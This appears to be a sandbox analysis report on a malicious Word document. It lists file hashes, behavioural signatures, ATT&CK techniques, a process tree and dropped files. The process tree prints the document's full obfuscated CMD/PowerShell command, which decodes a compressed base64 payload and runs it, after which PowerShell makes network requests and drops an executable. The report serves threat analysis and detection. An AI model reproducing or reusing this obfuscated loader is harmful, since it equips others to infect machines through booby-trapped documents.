1aa38e81fe2944358f41c7afa56a4aacbdf1bc6933951219a168f49b3f64c498

General

Target

37b81642b0e432f46480033814f85b6a_JaffaCakes118.doc
Size

76KB
MD5

37b81642b0e432f46480033814f85b6a
SHA1

3de2f1dc9cd31bcb680f7d9ae43169d7f851672b
SHA256

1aa38e81fe2944358f41c7afa56a4aacbdf1bc6933951219a168f49b3f64c498
SHA512

1b9a2cf4ceddb5b114ce49cdf1c756eebafc04c1f87cbf30b74b3ac779babbdf71314ed26a80af29bc3c5bafeb7e35d4ac422dd1b8114c2051d5d2832a95d366
SSDEEP

768:aDVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9YXxrHZPn6ff9dRUy:aDocn1kp59gxBK85fBt+a9YhlncjR

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	5484	4620	CMD.exe	90

Blocklisted process makes network request 5 IoCs

flow	pid	Process
36	1584	powershell.exe
37	1584	powershell.exe
64	1584	powershell.exe
66	1584	powershell.exe
70	1584	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4620	WINWORD.EXE
4620	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1584	powershell.exe
1584	powershell.exe
1584	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4620	WINWORD.EXE
4620	WINWORD.EXE
4620	WINWORD.EXE
4620	WINWORD.EXE
4620	WINWORD.EXE
4620	WINWORD.EXE
4620	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 5484	4620	WINWORD.EXE	98
PID 4620 wrote to memory of 5484	4620	WINWORD.EXE	98
PID 5484 wrote to memory of 1584	5484	CMD.exe	100
PID 5484 wrote to memory of 1584	5484	CMD.exe	100

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\37b81642b0e432f46480033814f85b6a_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\SYSTEM32\CMD.exe
  CMD c:\wIndows\sYSteM32\CmD /C "sET djCFB= ( New-ObJecT sysTEm.io.comPREssIoN.dEfLATEStREaM( [iO.MemOrYSTReAm][COnVErt]::fromBASe64STRInG('NZBda8IwFED/Sh8CUZzpw9SpoaDo3MThx2QMx15qvFvSpklJUmMV//tama/3nHvgXrRMNpEC39b7BJgLluDIJ+wnUoByFJ3P7xHmzuXDMLSuyEGJNLPEFOF0N/kY/652q9E/9t4TXqgUJJhaeO68dcZldjrcBVutm1zkUNPuygzmvfGdcQmWF86BsUTJ0MvHDbPJ11rcBaPLWFpghRGuFIoRprNw0X9Si+1ggck2l8I18Ag3KTrydRAFuNftYIqSFx8hUMehgyxv4W/cqnkLEzgBpj/aQMx4A73OkkCooL63eXGmvKDqL2SqvZI6PsyEhJvzENTBJp2ro06hPa+itwndV52UXlnsGL9cr38=') ,[SysTeM.IO.COmprEsSion.comprEssIoNmodE]::DecOMPresS)^|ForEaCh {New-ObJecT iO.sTReamReADeR($_, [SYstEM.TEXT.EncoDING]::AScII) }^| FoReACh{$_.REaDToEND() } )^| ^&( $eNV:comSpeC[4,24,25]-JOIN'')&& powERsHEll ( ^& ( \"{1}{0}\"-f 'TeM','i') ( \"{0}{1}{2}\" -f 'ENv:dj','c','Fb' ) ).\"va`LUe\" ^| .(( ^& ( 'gv') (\"{0}{1}\" -f'*Md','r*' ) ).\"N`AMe\"[3,11,2]-joIn'' )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powERsHEll ( & ( \"{1}{0}\"-f 'TeM','i') ( \"{0}{1}{2}\" -f 'ENv:dj','c','Fb' ) ).\"va`LUe\" | .(( & ( 'gv') (\"{0}{1}\" -f'*Md','r*' ) ).\"N`AMe\"[3,11,2]-joIn'' )
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5136 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
1⤵
PID:2036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\654.exe

Filesize
16KB

MD5
262e973d8ea75e48ea2e1d9d0ff5d052

SHA1
efe1871ddff26141415eef3b81e8c0c273ce0a0a

SHA256
1071629ba60d33c8d55d8ae35540ccfa9d3373e377034f3ffdda7873d02d74a0

SHA512
7c94c22b8fb936d620a48b9b64b1fbbb1e87800d9eccd7367b51e7db4f6fd8462d7b11bfaae10d28422b9d2e235ab09c1cf68c7289c7a4083230f7f3f099cb2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\654.exe

Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4axu00to.vlw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1584-43-0x000001D77FFE0000-0x000001D780002000-memory.dmp

Filesize
136KB

Download
memory/4620-37-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-1-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-10-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-11-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-8-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-3-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-2-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-0-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-12-0x00007FFD60A30000-0x00007FFD60A40000-memory.dmp

Filesize
64KB

Download
memory/4620-14-0x00007FFD60A30000-0x00007FFD60A40000-memory.dmp

Filesize
64KB

Download
memory/4620-32-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-36-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-4-0x00007FFDA2AAD000-0x00007FFDA2AAE000-memory.dmp

Filesize
4KB

Download
memory/4620-9-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-5-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-48-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-50-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-49-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-53-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-55-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-56-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-6-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-7-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4620-97-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-98-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-100-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-99-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/4620-101-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads